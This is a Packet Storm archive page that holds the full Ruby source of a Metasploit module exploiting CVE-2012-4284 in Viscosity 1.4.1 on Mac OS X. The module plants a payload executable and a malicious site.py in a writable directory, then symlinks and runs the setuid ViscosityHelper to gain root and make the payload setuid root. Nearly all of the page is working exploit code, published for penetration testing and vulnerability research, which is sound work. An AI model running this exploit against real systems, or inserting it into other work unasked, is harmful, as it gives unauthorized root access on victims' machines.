what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Viscosity setuid-set ViscosityHelper Privilege Escalation

Viscosity setuid-set ViscosityHelper Privilege Escalation
Posted Mar 5, 2013
Authored by juan vazquez, Jason A. Donenfeld | Site metasploit.com

This Metasploit module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient validation of path names allows execution of arbitrary python code as root. This Metasploit module has been tested successfully on Viscosity 1.4.1 over Mac OS X 10.7.5.

tags | exploit, arbitrary, root, python
systems | apple, osx
advisories | CVE-2012-4284, OSVDB-84709
SHA-256 | 6327eb13b7e692d86e8bb599155a99f74615d2b9fede67b7da69c91955b632d0

Viscosity setuid-set ViscosityHelper Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

def initialize(info={})
super( update_info( info, {
'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
vulnerability exists in the setuid ViscosityHelper, where an insufficient
validation of path names allows execution of arbitrary python code as root.
This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
10.7.5.
},
'References' =>
[
[ 'CVE', '2012-4284' ],
[ 'OSVDB', '84709' ],
[ 'EDB', '20485' ],
[ 'URL', 'http://blog.zx2c4.com/791' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
'juan vazquez' # Metasploit module
],
'DisclosureDate' => 'Aug 12 2012',
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'Targets' =>
[
[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
}))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
], self.class)
end

def check
if not file?(datastore["Viscosity"])
print_error "ViscosityHelper not found"
return CheckCode::Safe
end

check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000")

if check =~ /ViscosityHelper/
return CheckCode::Vulnerable
end

return CheckCode::Safe
end

def clean
file_rm(@link)
file_rm(@python_file)
file_rm("#{@python_file}c")
file_rm(@exe_file)
end

def exploit

exe_name = rand_text_alpha(8)
@exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)

evil_python =<<-EOF
import os
os.setuid(0)
os.setgid(0)
os.system("chown root #{@exe_file}")
os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
EOF

@python_file = "#{datastore["WritableDir"]}/site.py"
print_status("Dropping python #{@python_file}...")
write_file(@python_file, evil_python)

print_status("Creating symlink...")
link_name = rand_text_alpha(8)
@link = "#{datastore["WritableDir"]}/#{link_name}"
cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"

print_status("Running...")
begin
cmd_exec "#{@link}"
rescue
print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
clean
return
end
print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
end
end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close